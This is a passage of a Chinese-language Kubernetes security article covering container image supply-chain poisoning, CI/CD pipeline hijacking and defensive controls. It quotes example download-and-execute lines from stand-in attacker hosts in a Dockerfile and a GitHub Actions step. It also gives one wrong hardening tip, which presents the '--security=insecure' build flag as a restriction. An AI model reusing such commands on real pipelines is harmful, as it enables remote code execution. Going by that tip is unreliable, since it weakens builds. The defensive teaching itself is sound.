在上一篇文章中,我们介绍了k8S的基础设施、控制平面风险,接下来我们继续另外的四个部分,即供应链与CI/CD攻击面、横向移动与持久化攻击、防御策略与防护工具,继续深度剖析k8s安全。
4. 供应链与CI/CD攻击面
Kubernetes的供应链与CI/CD管道是代码到集群的核心链路,其安全性直接影响业务负载的完整性。攻击者可利用这一链路的薄弱环节,实现从源码污染到集群控制的完整攻击链。本章深入解析供应链各环节的攻击手法及防御体系。
4.1 恶意容器镜像供应链攻击
容器镜像是Kubernetes应用的基础组件,其供应链的复杂性为攻击者提供了多重渗透路径。
攻击场景与深度分析
1. 公共镜像仓库投毒
- 仿冒官方镜像:攻击者上传与官方镜像同名但带后门的版本(如
nginx:1.23.0-malicious
),利用用户拉取时默认选择最新标签(latest
)的特性触发感染。 -
依赖链劫持:篡改基础镜像(如
alpine
)的APK仓库配置(/etc/apk/repositories
),在容器构建阶段下载恶意软件包。
2.构建过程代码注入
- Dockerfile恶意指令:在Dockerfile中插入隐蔽的后门指令,如通过
RUN
命令下载远程脚本:
FROM ubuntu:22.04
RUN curl http://malicious.site/backdoor.sh | bas
-
多阶段构建污染:攻击者在构建的中间阶段(如
builder
阶段)植入恶意代码,最终镜像中通过动态链接库(.so
)或环境变量残留触发逻辑。
3. 镜像仓库中间人攻击
- HTTPS证书劫持:利用自签名证书或网络中间人工具(如mitmproxy)劫持镜像拉取请求,将合法镜像替换为恶意版本。
-
仓库权限滥用:攻击者通过窃取的凭证(如
~/.docker/config.json
)向私有仓库推送带后门的业务镜像(如frontend:v1.2.0
)。
防御实践
-
镜像来源可信验证:
-
使用Cosign对镜像进行签名,部署Kyverno策略强制校验签名:
-
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: verify-image-signature
spec:
validationFailureAction: enforce
rules:
- name: check-signature
match:
any:
- resources:
kinds:
- Pod
verifyImages:
- image: "registry.example.com/*"
key: |-
-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEH8tI5YHkuBhz3yVQvE6SP2kE7fT
...
-----END PUBLIC KEY-----
启用Notary v2或Harbor的漏洞扫描功能,阻断未签名或含高危CVE的镜像部署。
-
构建环境隔离与加固:
-
使用Tekton或GitLab CI的隔离式构建环境(如Kubernetes Pod执行器),限制构建容器的网络与权限。
-
在Dockerfile中启用
--security=insecure
参数,禁止构建过程中加载外部资源。
-
4.2 CI/CD流水线劫持
CI/CD工具(如Jenkins、GitHub Actions)的配置错误可能导致凭据泄露或恶意代码注入。
攻击场景与深度分析
1. 流水线凭证泄露
- 环境变量暴露:在Jenkinsfile或GitHub Actions中硬编码敏感信息(如
AWS_ACCESS_KEY_ID
),攻击者通过打印日志或调试接口窃取。 -
Kubernetes Service Account绑定过宽权限:若CI/CD工具运行在Kubernetes集群中且绑定了
cluster-admin
角色,攻击者可利用其Service Account令牌接管集群。
2. 恶意代码注入
-
Pull Request触发构建:攻击者向开源项目提交恶意PR,利用自动触发的CI流程(如
on: pull_request
)在构建服务器上执行代码:
# GitHub Actions 恶意步骤示例
- name: Exploit
run: |
curl http://attacker-c2.com/exploit.sh | bas
-
依赖混淆攻击:在Python的
requirements.txt
或Node.js的package.json
中插入私有包名称(如internal-utils
),攻击者提前在公共仓库注册同名包,触发恶意依赖下载。
3. 流水线工件篡改
- 恶意Helm Chart推送:攻击者篡改Chart的
values.yaml
,注入恶意initContainers
或postStart
钩子,部署时在集群内执行反向Shell。 -
Kustomize远程资源注入:利用
kustomization.yaml
中的resources
字段加载远程配置(如https://attacker.site/malicious-config.yaml
),劫持部署行为。
防御实践
-
最小化流水线权限:
-
为CI/CD工具分配独立的Kubernetes Service Account,限制其RBAC权限(如仅允许在特定Namespace部署)。
-
使用Vault动态管理凭据,避免在流水线中硬编码密钥。
-
-
代码审查与签名验证:
-
启用Git提交签名验证(GPG或SSH),阻断未签名的代码合并。
-
在Argo CD或Flux中启用GPG验证,确保仅部署经审核的Helm Chart或Kustomize配置。
-
-
流水线行为监控:
-
使用Tekton Chains对流水线工件(如镜像、Chart)进行签名,确保端到端可追溯性。
-
部署Falco规则检测构建容器中的异常行为(如
kubectl apply -f
执行未知配置)。
-
4.3 Helm Chart与Operator漏洞
Helm Chart和Operator是Kubernetes应用分发的核心载体,其安全缺陷可导致集群级风